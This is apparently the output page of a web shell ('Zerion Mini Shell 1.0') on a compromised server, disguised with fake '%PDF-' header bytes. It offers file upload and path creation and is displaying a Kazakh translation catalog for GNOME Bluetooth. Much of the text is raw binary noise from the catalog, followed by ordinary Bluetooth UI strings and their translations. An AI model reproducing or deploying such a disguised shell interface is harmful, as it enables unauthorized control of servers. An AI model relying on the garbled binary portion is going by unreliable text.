%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/share/locale/kk/LC_MESSAGES/
Upload File :
Create Path :
Current File : //usr/share/locale/kk/LC_MESSAGES/gnome-bluetooth2.mo

��o��`	a	t	�	�	�	*�	�	�	�	�		


,
9
Q
k
~
�
�
�
�
�
�
�
	[	{
�
����
������

,HKP%���Y�,
2
8
=
E
H

^
i

	�
�
�
�
�
L�
4+RT~h�<DSh)����$� 0?
Xcy���������JSW#k	�����������.D=F���~���
� �
���)C+W�+�'��AVc9u<���+%8�^�	0?Nl����4�
_&���Yy���
8C
P[d2k�/�*�$&7^p�S
Ma���B,9L,�H��&	 0 9= Jw F� #	!6-!d!<x!�!�!�!�!�!"""+"I"BZ#�#,�#;�#
$$	,$*6$8a$�$�$�$�$
�$ �$%|*%w�%!'*5HX_UA+Vo:K. i/R%Sa3T\7O	Mh2)<#CQ&1eF$N^lPIG>-@`;"=64WdL[(Jc
ZgEDbm]kY09
8B?j,nf%'d hour%'d hours%'d minute%'d minutes%'d second%'d seconds%d B/s%d kB/s%u transfer complete%u transfers completeADDRESSAcceptAddressAll categoriesAll typesAllowAn unknown error occurredAudio deviceBluetooth File TransferBluetooth Pairing RequestBluetooth TransferBluetooth file transfer from %sCameraCancelChoose files to sendClick to select device…ComputerConfirmConfirm Bluetooth ConnectionConfirm Bluetooth PINConfirm the Bluetooth PIN for “%s”. This can usually be found in the device’s manual.ConnectedConnecting…ConnectionDeclineDeviceDevice _category:Device _type:DevicesDisconnectedDismissDisplayFile reception completeFrom:HeadphonesHeadphones, headsets and other audio devicesHeadsetIf you remove the device, you will have to set it up again before next use.Input devices (mice, keyboards, etc.)JoypadKeyboardMake sure that the remote device is switched on and that it accepts Bluetooth connectionsModemMouseNAMENetworkNoNo adapters availableNot Set UpNot paired or trustedOpen Containing FolderOpen FilePairedPaired or trustedPairing “%s”PhonePlease confirm that the following PIN matches the one displayed on “%s”.Please confirm the PIN that was entered on “%s”.Please enter the following PIN on “%s”.Please enter the following PIN on “%s”. Then press “Return” on the keyboard.Please move the joystick of your iCade in the following directions. Then press any of the white buttons.PrinterRemote controlRemote device to useRemote device’s nameRemove “%s” from the list of devices?ScannerSearching for devices…SelectSelect device to send toSelect the device category to filterSelect the device type to filterSend _Files…Send files via BluetoothSending %sSending file %d of %dShow:TabletThere was an errorTo:ToyTrustedTypeUnknownVideo deviceVisible as “%s” and available for Bluetooth file transfers. Transferred files are placed in the <a href="%s">Downloads</a> folder.WearableYesYou received a fileYou received “%s” via Bluetooth[FILE…]_Cancel_Close_Keyboard Settings_Mouse & Touchpad Settings_OK_Remove_Remove Device_Retry_Send_Sound Settingsapproximately %'d hourapproximately %'d hours“%s” wants to connect with this device. Do you want to allow it?“%s” wants to pair with this device. Do you want to allow pairing?Project-Id-Version: gnome-bluetooth master
Report-Msgid-Bugs-To: https://gitlab.gnome.org/GNOME/gnome-bluetooth/issues
PO-Revision-Date: 2020-06-25 12:22+0500
Last-Translator: Baurzhan Muftakhidinov <baurthefirst@gmail.com>
Language-Team: Kazakh <kk_KZ@googlegroups.com>
Language: kk
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Plural-Forms: nplurals=1; plural=0;
X-Generator: Poedit 2.3.1
%'d сағат%'d минут%'d секунд%d Б/с%d КБ/с%u алмасу аяқталдыАДРЕСҚабылдауАдресіБарлық санаттарБарлық түрлерРұқсат етуБелгісіз қате орын алдыАудио құрылғысыBluetooth файлдармен алмасуBluetooth жұптау сұранымыBluetooth алмасулары%s жіберген Bluetooth файлдармен алмасуыКамераБас тартуЖіберу үшін файлдарды таңдаңызҚұрылғыны таңдау үшін шертіңіз…КомпьютерРастауBluetooth байланысын растауBluetooth PIN кодын растау"%s" үшін Bluetooth PIN кодын растаңыз. Әдетте оны құрылғы құжаттамасынан табуға болады.БайланысқанБайланысу…БайланысТайдыруҚұрылғыҚұрылғы _санаты:Құрылғы _түрі:ҚұрылғыларБайланыспағанЕлемеуКөрсетуФайлдарды қабылдау аяқталдыКімнен:ҚұлаққапҚұлаққап, гарнитура және басқа да аудио құрылғыларыГарнитураҚұрылғыны өшірсеңіз, қайта қолдану үшін оны жаңадан баптау керек болады.Енгізу құрылғылары (тышқан, пернетақталар, т.с.с.)ГеймпадПернетақтаҚашықтағы құрылғы іске қосулы және ол Bluetooth байланыстарын қабылдайтынын тексеріңізМодемТышқанАТАУЫЖеліЖоқҚолжетерлік адаптерлер жоқБапталмағанЖұпталған не сенімді емесОрналасқан бумасын ашуФайлды ашуЖұпталғанЖұпталған не сенімді"%s" жұптауТелефонКелесі PIN коды "%s" құрылғысында көрсетілген кодпен сәйкес келетінін растаңыз."%s" құрылғысында енгізілген PIN кодын растаңыз.Келесі PIN кодын "%s" құрылғысында енгізіңіз.Келесі PIN кодын "%s" құрылғысында енгізіңіз. Одан кейін пернетақтада "Enter" басыңыз.Өзіңіздің iCade құрылғысының джойстигін келесі бағыттарда жылжытыңыз. Одан кейін ақ батырмалардын кез-келгенін басыңыз.ПринтерҚашықтан басқаруҚолдану үшін қашықтағы құрылғыҚашықтағы құрылғы атауы"%s" құрылғылар тізімінен өшіру керек пе?СканерҚұрылғыларды іздеу…ТаңдауЖіберу үшін құрылғыны таңдаңызСүзгілеу үшін құрылғы санатын енгізіңізСүзгілеу үшін құрылғы түрін енгізіңіз_Файлдарды жіберу…Файлдарды Bluetooth арқылы жіберуЖіберуде %sНөмірі %d файлды жіберу, барлығы %dКөрсету:TabletҚате орын алдыКімге:ОйыншықСенімдіТүріБелгісізВидео құрылғысыКомпьютер енді "%s" ретінде көрінеді және Bluetooth файлдар алмасулары үшін қолжетерлік. Алмасқан файлдарды <a href="%s">Жүктемелер</a> бумасынан табуға болады.Өзімен ұстап жүруге болатын құрылғыИәСіз файлды қабылдадыңызСіз Bluetooth арқылы "%s" қабылдадыңыз[ФАЙЛ…]Ба_с тартуЖа_бу_Пернетақта баптаулары_Тышқан және тачпад баптауларыО_КӨші_руҚұрылғыны ө_шіруҚа_йталау_ЖіберуДыбы_с баптауларышамамен %'d сағат"%s" бұл құрылғыға байланыс орнатқысы келеді. Оны рұқсат ету керек пе?"%s" бұл құрылғымен жұптағысы келеді. Жұптауды рұқсат ету керек пе?

Zerion Mini Shell 1.0